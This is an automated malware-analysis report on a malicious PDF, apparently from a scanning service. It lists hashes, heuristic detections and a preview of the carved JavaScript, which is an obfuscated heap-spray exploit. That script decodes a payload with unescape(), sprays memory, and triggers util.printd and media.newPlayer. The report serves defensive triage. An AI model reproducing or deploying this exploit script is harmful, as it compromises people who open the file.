Malicious PDF — malware analysis report

Static analysis result for SHA-256 3533b87e4f679fc5…

MALICIOUS

PDF

1.6 KB First seen: 2026-05-10
MD5: 476d205b3020b76a521301892e0dc22b SHA-1: 5862eee987d3650a26de3f5256f5d3ac07e4acc4 SHA-256: 3533b87e4f679fc56d3822e432d3a50ebddef43821e5c4eef2bbc3e1c6be080c
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The JavaScript stream, identified as javascript_obj0005_000.js, is obfuscated and likely attempts to download and execute a second-stage payload. The presence of unescape() further suggests malicious intent to decode and run code. Due to the obfuscation, the exact payload and delivery mechanism cannot be definitively determined.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var Wo = unescape((33+4,113+4,49+4,48+4,65+4,62+4,33+4,113+4,51+4,49+4,52+4,62+4,33+4,113+4,52+4,62+4,47+4,63+4,33+4,113+4,47+4,49+4,51+4,48+4,33+4,113+4,44+4,47+4,51+4,52+4,33+4,113+4,49+4,50+4,66+4,49+4,33+4,113+4,51+4,50+4,52+4,62+4,33+4,113+4,44+4,47+4,46+4,44+4,33+4,113+4,47+4,47+4,66+4,49+4,33+4,113+4,48+4,53+4,63+4,53+4,33+4,113+4,61+4,64+4,48+4,45+4,33+4,113+4,64+4,62+4,47+4,47+4,33+4,113+4,44+4,66+4,47+4,50+4,33+4,113+4,45+4,48+4,62+4,65+4,33+4,113+4,47+4,52+4,46+4,52+4,33+4,113+4,51+4, …
var yR = unescape((33+4,113+4,47+4,51+4,46+4,51+4,33+4,113+4,46+4,51+4,98+4,49+4));
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x156 5405 bytes
SHA-256: 8a969ad0837080ab115f7c941b879b1ae71bb30bfcbbfa997fc3272459d102e6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Wo = unescape((33+4,113+4,49+4,48+4,65+4,62+4,33+4,113+4,51+4,49+4,52+4,62+4,33+4,113+4,52+4,62+4,47+4,63+4,33+4,113+4,47+4,49+4,51+4,48+4,33+4,113+4,44+4,47+4,51+4,52+4,33+4,113+4,49+4,50+4,66+4,49+4,33+4,113+4,51+4,50+4,52+4,62+4,33+4,113+4,44+4,47+4,46+4,44+4,33+4,113+4,47+4,47+4,66+4,49+4,33+4,113+4,48+4,53+4,63+4,53+4,33+4,113+4,61+4,64+4,48+4,45+4,33+4,113+4,64+4,62+4,47+4,47+4,33+4,113+4,44+4,66+4,47+4,50+4,33+4,113+4,45+4,48+4,62+4,65+4,33+4,113+4,47+4,52+4,46+4,52+4,33+4,113+4,51+4,48+4,66+4,46+4,33+4,113+4,63+4,45+4,44+4,52+4,33+4,113+4,44+4,64+4,63+4,62+4,33+4,113+4,64+4,61+4,44+4,47+4,33+4,113+4,65+4,62+4,48+4,44+4,33+4,113+4,47+4,62+4,65+4,66+4,33+4,113+4,51+4,49+4,64+4,66+4,33+4,113+4,49+4,65+4,65+4,51+4,33+4,113+4,49+4,65+4,52+4,62+4,33+4,113+4,44+4,47+4,46+4,48+4,33+4,113+4,50+4,50+4,64+4,64+4,33+4,113+4,44+4,63+4,52+4,62+4,33+4,113+4,52+4,62+4,48+4,62+4,33+4,113+4,45+4,63+4,49+4,65+4,33+4,113+4,64+4,64+4,44+4,47+4,33+4,113+4,44+4,48+4,52+4,62+4,33+4,113+4,44+4,47+4,52+4,62+4,33+4,113+4,63+4,47+4,63+4,49+4,33+4,113+4,51+4,46+4,51+4,49+4,33+4,113+4,50+4,64+4,50+4,63+4,33+4,113+4,50+4,65+4,50+4,66+4,33+4,113+4,50+4,48+4,46+4,65+4,33+4,113+4,50+4,63+4,50+4,63+4,33+4,113+4,48+4,47+4,44+4,44+4,33+4,113+4,49+4,63+4,47+4,61+4,33+4,113+4,46+4,65+4,49+4,49+4,33+4,113+4,51+4,52+4,50+4,49+4,33+4,113+4,44+4,44+4,50+4,49+4,33+4,113+4,63+4,44+4,47+4,47+4,33+4,113+4,44+4,47+4,50+4,48+4,33+4,113+4,47+4,44+4,48+4,44+4,33+4,113+4,44+4,63+4,51+4,52+4,33+4,113+4,48+4,44+4,52+4,62+4,33+4,113+4,52+4,62+4,44+4,63+4,33+4,113+4,45+4,63+4,51+4,44+4,33+4,113+4,52+4,62+4,61+4,64+4,33+4,113+4,44+4,52+4,48+4,44+4,33+4,113+4,44+4,53+4,65+4,62+4,33+4,113+4,48+4,44+4,52+4,62+4,33+4,113+4,52+4,64+4,47+4,48+4,33+4,113+4,51+4,63+4,48+4,44+4,33+4,113+4,48+4,44+4,52+4,62+4,33+4,113+4,53+4,49+4,47+4,63+4,33+4,113+4,52+4,65+4,62+4,66+4,33+4,113+4,44+4,65+4,48+4,65+4,33+4,113+4,65+4,52+4,65+4,63+4,33+4,113+4,66+4,66+4,52+4,48+4,33+4,113+4,66+4,66+4,66+4,66+4,33+4,113+4,65+4,63+4,52+4,47+4,33+4,113+4,52+4,47+4,44+4,48+4,33+4,113+4,46+4,48+4,46+4,63+4,33+4,113+4,66+4,66+4,47+4,63+4,33+4,113+4,49+4,49+4,64+4,44+4,33+4,113+4,62+4,66+4,49+4,44+4,33+4,113+4,63+4,61+4,47+4,47+4,33+4,113+4,49+4,62+4,52+4,61+4,33+4,113+4,50+4,66+4,65+4,52+4,33+4,113+4,66+4,66+4,66+4,66+4,33+4,113+4,52+4,62+4,66+4,66+4,33+4,113+4,52+4,47+4,64+4,63+4,33+4,113+4,45+4,44+4,63+4,47+4,33+4,113+4,62+4,62+4,49+4,47+4,33+4,113+4,49+4,50+4,51+4,52+4,33+4,113+4,45+4,46+4,47+4,48+4,33+4,113+4,65+4,62+4,52+4,45+4,33+4,113+4,48+4,50+4,49+4,48+4,33+4,113+4,45+4,46+4,47+4,48+4,33+4,113+4,66+4,66+4,49+4,47+4,33+4,113+4,62+4,66+4,64+4,44+4,33+4,113+4,46+4,46+4,47+4,52+4,33+4,113+4,65+4,51+4,61+4,63+4,33+4,113+4,49+4,45+4,65+4,52+4,33+4,113+4,66+4,66+4,66+4,66+4,33+4,113+4,52+4,62+4,66+4,66+4,33+4,113+4,52+4,47+4,64+4,63+4,33+4,113+4,45+4,44+4,63+4,47+4,33+4,113+4,50+4,61+4,49+4,47+4,33+4,113+4,47+4,47+4,46+4,45+4,33+4,113+4,49+4,45+4,63+4,53+4,33+4,113+4,66+4,66+4,49+4,47+4,33+4,113+4,52+4,62+4,64+4,44+4,33+4,113+4,46+4,48+4,46+4,63+4,33+4,113+4,47+4,50+4,62+4,66+4,33+4,113+4,46+4,66+4,45+4,61+4,33+4,113+4,65+4,52+4,51+4,44+4,33+4,113+4,66+4,66+4,47+4,50+4,33+4,113+4,66+4,66+4,66+4,66+4,33+4,113+4,64+4,48+4,52+4,62+4,33+4,113+4,63+4,46+4,52+4,47+4,33+4,113+4,47+4,47+4,45+4,44+4,33+4,113+4,49+4,47+4,64+4,62+4,33+4,113+4,49+4,46+4,49+4,47+4,33+4,113+4,46+4,49+4,65+4,62+4,33+4,113+4,66+4,66+4,49+4,47+4,33+4,113+4,49+4,64+4,64+4,44+4,33+4,113+4,62+4,66+4,49+4,64+4,33+4,113+4,66+4,65+4,53+4,52+4,33+4,113+4,44+4,65+4,52+4,61+4,33+4,113+4,45+4,62+4,65+4,52+4,33+4,113+4,66+4,66+4,66+4,66+4,33+4,113+4,52+4,53+4,66+4,66+4,33+4,113+4,46+4,48+4,46+4,48+4,33+4,113+4,44+4,48+4,52+4,44+4,33+4,113+4,44+4,52+4,46+4,48+4,33+4,113+4,64+4,44+4,66+4,66+4,33+4,113+4,51+4,65+4,62+4,66+4,33+4,113+4,65+4,46+4,64+4,52+4,33+4,113+4,65+4,52+4,51+4,47+4,33+4,113+4,66+4,66+4,44+4,52+4,33+4,113+4,66+4,66+4,66+4,66+4,33+4,113+4,66+4,66+4,49+4,46+4,33+4,113+4,65+4,52+4,64+4,44+4,33+4,113+4,66+4,66+4,64+4,50+4,33+4,113+4,66+4,66+4,66+4,66+4,33+4,113+4,47+4,61+4,48+4,52+4,33+4,113+4,49+4,51+4,46+4,66+4,33+4,113+4,50+4,65+4,50+4,53+4,33+4,113+4,50+4,66+4,50+4,48+4,33+4,113+4,51+4,47+4,51+4,51+4,33+4,113+4,49+4,47+4,46+4,66+4,33+4,113+4,51+4,47+4,51+4,53+4,33+4,113+4,50+4,49+4,51+4,48+4,33+4,113+4,47+4,47+4,50+4,64+4,33+4,113+4,46+4,66+4,47+4,46+4,33+4,113+4,50+4,45+4,50+4,47+4,33+4,113+4,50+4,47+4,50+4,63+4,33+4,113+4,50+4,49+4,46+4,65+4,33+4,113+4,50+4,49+4,51+4,52+4,33+4,113+4,44+4,44+4,44+4,44+4));
var yR = unescape((33+4,113+4,47+4,51+4,46+4,51+4,33+4,113+4,46+4,51+4,98+4,49+4));

for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util.printd((45+4,42+4,47+4,48+4,49+4,50+4,51+4,52+4,53+4,44+4,45+4,42+4,47+4,48+4,49+4,50+4,51+4,52+4,53+4,44+4,45+4,42+4,47+4,48+4,49+4,50+4,28+4,54+4,28+4,45+4,42+4,47+4,45+4,42+4,47+4,48+4), new Date());
util.printd((45+4,42+4,47+4,48+4,49+4,50+4,51+4,52+4,53+4,44+4,45+4,42+4,47+4,48+4,49+4,50+4,51+4,52+4,53+4,44+4,45+4,42+4,47+4,48+4,49+4,50+4,28+4,54+4,28+4,45+4,42+4,47+4,45+4,42+4,47+4,48+4), new Date());
try {var obj = this.media;obj["new"+"Pl"+"ayer"](null);} catch(e) {}
util.printd((45+4,42+4,47+4,48+4,49+4,50+4,51+4,52+4,53+4,44+4,45+4,42+4,47+4,48+4,49+4,50+4,51+4,52+4,53+4,44+4,45+4,42+4,47+4,48+4,49+4,50+4,28+4,54+4,28+4,45+4,42+4,47+4,45+4,42+4,47+4,48+4), new Date());

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